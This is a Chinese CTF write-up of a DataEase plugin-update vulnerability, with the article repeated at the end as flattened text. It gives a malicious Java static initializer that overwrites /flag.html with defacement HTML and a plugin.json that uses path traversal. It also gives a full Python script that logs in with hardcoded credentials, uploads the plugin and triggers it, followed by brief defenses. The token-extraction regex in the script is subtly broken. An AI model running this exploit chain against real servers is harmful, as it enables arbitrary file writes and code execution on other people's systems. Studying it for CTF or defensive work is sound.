qwb-final-dataease代码审计
字数 1236 2025-08-22 12:22:42

DataEase 代码审计与漏洞利用分析

1. 漏洞背景

本文档分析的是 DataEase 平台中的一个安全漏洞,涉及插件上传和文件覆盖问题。攻击者可以通过精心构造的插件包,利用平台对插件更新的处理机制,实现任意文件写入,最终覆盖系统关键文件(如 flag.html)。

2. 漏洞分析

2.1 漏洞入口点

漏洞存在于 DataEase 的插件更新机制中,具体路径为:

/api/plugin/update/{pluginId}

虽然系统在 Nginx 配置中禁止了 /api/plugin/upload 的 POST 请求:

location /api/plugin/upload {
    if ($request_method = POST) {
        return 403;
    }
}

/api/plugin/update 接口未被限制,这成为攻击的突破口。

2.2 漏洞利用链

完整的利用链如下:

  1. 构造恶意插件包(包含特殊配置的 plugin.json 和恶意 JAR 文件)
  2. 通过 /api/plugin/update 接口上传恶意插件
  3. 插件中的静态代码块会在类加载时执行恶意操作
  4. 恶意代码删除并重新创建 /flag.html 文件
  5. 攻击者访问 /flag.html 验证攻击是否成功

2.3 关键代码分析

恶意插件中的核心代码位于 DmConfig 类的静态初始化块中:

static {
    try {
        (new File("/flag.html")).delete();
        FileOutputStream out = new FileOutputStream("/flag.html");
        out.write(Base64.getDecoder().decode("PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogIDx0aXRsZT5IYWNrIGJ5IFBvbGFyaXM8L3RpdGxlPg0KICA8c3R5bGU+DQogICAgYm9keSB7DQogICAgICBtYXJnaW46IDA7DQogICAgICBiYWNrZ3JvdW5kOiBibGFjazsNCiAgICAgIGRpc3BsYXk6IGZsZXg7DQogICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgICBoZWlnaHQ6IDEwMHZoOw0KICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgIGNvbG9yOiB3aGl0ZTsNCiAgICAgIGZvbnQtZmFtaWx5OiAnQXJpYWwnLCBzYW5zLXNlcmlmOw0KICAgIH0NCg0KICAgIC5oYWNrLXRleHQgew0KICAgICAgZm9udC1zaXplOiA1MHB4Ow0KICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgIHRleHQtc2hhZG93OiAwIDAgNXB4ICMwMGZmMDAsIDAgMCAxMHB4ICMwMGZmMDAsIDAgMCAyMHB4ICMwMGZmMDAsIDAgMCA0MHB4ICMwMGZmMDA7DQogICAgICBhbmltYXRpb246IGdsaXRjaCAycyBpbmZpbml0ZTsNCiAgICB9"));
        out.flush();
        out.close();
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
}

这段代码会在类加载时自动执行,删除原有的 /flag.html 并创建一个新的包含攻击者内容(Base64 解码后为 HTML 页面)的文件。

3. 漏洞利用步骤

3.1 准备恶意插件包

恶意插件包需要包含两个关键文件:

  1. plugin.json - 插件描述文件
  2. patch.jar - 包含恶意代码的 JAR 文件

plugin.json 示例:

{
    "name": "达梦数据源插件",
    "store": "default",
    "free": 0,
    "cost": 0,
    "category": "datasource",
    "descript": "达梦数据源插件",
    "version": "1.18.26",
    "creator": "DATAEASE",
    "moduleName": "dm-backend",
    "icon": null,
    "dsType": "../default/dm"
}

特别注意 moduleNamedsType 字段,它们决定了插件加载的行为。

3.2 打包插件

zip -r poc.zip patch.jar plugin.json

3.3 自动化攻击脚本

以下是完整的 Python 自动化攻击脚本:

import requests
import re

url = input("请输入url地址(例如:192.168.0.1):\n")
login_url = "http://{}:81/api/auth/login".format(url)

data = {
    "loginType": 0,
    "password": "myZuoVBN0QkzG8ZDOfqsROJ/LvtyNUR9cdZD/TPCUdK8YuJOZgrfPqou29VXKlpW3SGIh++S4c6SwVhKg1yreg==",
    "username": "Vaa0/f4hbQNlZG7XIIk4uofw5di11LAy4HY8XucvH+qmu4mYouUd1jdBkLDTcfNHCImrlOXbM6Un2FapQfkjlg=="
}

login_resp = requests.post(login_url, json=data)
token = re.findall('token"', login_resp.text)[0]

if token:
    print("登录成功")
else:
    print("登录失败")

header = {"Authorization": token}
print("token: {}".format(token))

files = {
    "pluginId": (None, "13"),
    "file": ("poc.zip", open("poc.zip", "rb"), "application/octet-stream")
}

attack_resp = requests.post(
    "http://{}:81/api/plugin/update/13".format(url),
    files=files,
    headers=header
)

if "true" in attack_resp.text:
    print("注入恶意代码成功")
else:
    print("注入恶意代码失败")

connection = {
    "configuration": "{ \"initialPoolSize\":5, \"extraParams\":\"\", \"minPoolSize\":5, \"maxPoolSize\":50, \"maxIdleTime\":30, \"acquireIncrement\":5, \"idleConnectionTestPeriod\":5, \"connectTimeout\":5, \"customDriver\":\"default\", \"queryTimeout\":30, \"host\":\"1\", \"port\":\"1\", \"username\":\"1\", \"password\":\"1\" }",
    "apiConfiguration": [],
    "type": "dm",
    "name": "1"
}

requests.post(
    "http://{}:81/datasource/getSchema/".format(url),
    headers=header,
    json=connection
)
print("触发成功")

resp = requests.get("http://{}:81/flag.html".format(url))
if "Hack by Polaris" in resp.text:
    print("攻击成功")

3.4 攻击流程说明

  1. 登录系统:使用硬编码的凭证登录获取 token
  2. 上传恶意插件:通过 /api/plugin/update/13 接口上传构造的插件包
  3. 触发漏洞:访问数据源相关接口触发插件加载
  4. 验证攻击:检查 /flag.html 是否被修改

4. 防御措施

4.1 代码层面

  1. 插件更新权限控制:严格限制插件更新接口的访问权限
  2. 文件操作限制:插件代码不应有直接操作文件系统的能力
  3. 沙箱环境:插件应在受限的沙箱环境中运行

4.2 配置层面

  1. Nginx 配置:应限制所有敏感接口的 POST 请求
    location /api/plugin/update {
        if ($request_method = POST) {
            return 403;
        }
    }
    
  2. 文件权限:关键系统文件应设置为只读

4.3 安全开发实践

  1. 输入验证:对所有上传内容进行严格验证
  2. 最小权限原则:插件应仅拥有完成其功能所需的最小权限
  3. 代码审计:定期进行安全代码审计,特别是插件系统等高风险模块

5. 总结

本漏洞展示了插件系统在设计不当情况下可能带来的严重安全问题。通过精心构造的插件包,攻击者可以绕过系统的部分防护措施,实现任意文件写入。这提醒我们在设计插件系统时需要特别注意安全边界和权限控制。

DataEase 代码审计与漏洞利用分析 1. 漏洞背景 本文档分析的是 DataEase 平台中的一个安全漏洞,涉及插件上传和文件覆盖问题。攻击者可以通过精心构造的插件包,利用平台对插件更新的处理机制,实现任意文件写入,最终覆盖系统关键文件(如 flag.html)。 2. 漏洞分析 2.1 漏洞入口点 漏洞存在于 DataEase 的插件更新机制中,具体路径为: 虽然系统在 Nginx 配置中禁止了 /api/plugin/upload 的 POST 请求: 但 /api/plugin/update 接口未被限制,这成为攻击的突破口。 2.2 漏洞利用链 完整的利用链如下: 构造恶意插件包(包含特殊配置的 plugin.json 和恶意 JAR 文件) 通过 /api/plugin/update 接口上传恶意插件 插件中的静态代码块会在类加载时执行恶意操作 恶意代码删除并重新创建 /flag.html 文件 攻击者访问 /flag.html 验证攻击是否成功 2.3 关键代码分析 恶意插件中的核心代码位于 DmConfig 类的静态初始化块中: 这段代码会在类加载时自动执行,删除原有的 /flag.html 并创建一个新的包含攻击者内容(Base64 解码后为 HTML 页面)的文件。 3. 漏洞利用步骤 3.1 准备恶意插件包 恶意插件包需要包含两个关键文件: plugin.json - 插件描述文件 patch.jar - 包含恶意代码的 JAR 文件 plugin.json 示例: 特别注意 moduleName 和 dsType 字段,它们决定了插件加载的行为。 3.2 打包插件 3.3 自动化攻击脚本 以下是完整的 Python 自动化攻击脚本: 3.4 攻击流程说明 登录系统 :使用硬编码的凭证登录获取 token 上传恶意插件 :通过 /api/plugin/update/13 接口上传构造的插件包 触发漏洞 :访问数据源相关接口触发插件加载 验证攻击 :检查 /flag.html 是否被修改 4. 防御措施 4.1 代码层面 插件更新权限控制 :严格限制插件更新接口的访问权限 文件操作限制 :插件代码不应有直接操作文件系统的能力 沙箱环境 :插件应在受限的沙箱环境中运行 4.2 配置层面 Nginx 配置 :应限制所有敏感接口的 POST 请求 文件权限 :关键系统文件应设置为只读 4.3 安全开发实践 输入验证 :对所有上传内容进行严格验证 最小权限原则 :插件应仅拥有完成其功能所需的最小权限 代码审计 :定期进行安全代码审计,特别是插件系统等高风险模块 5. 总结 本漏洞展示了插件系统在设计不当情况下可能带来的严重安全问题。通过精心构造的插件包,攻击者可以绕过系统的部分防护措施,实现任意文件写入。这提醒我们在设计插件系统时需要特别注意安全边界和权限控制。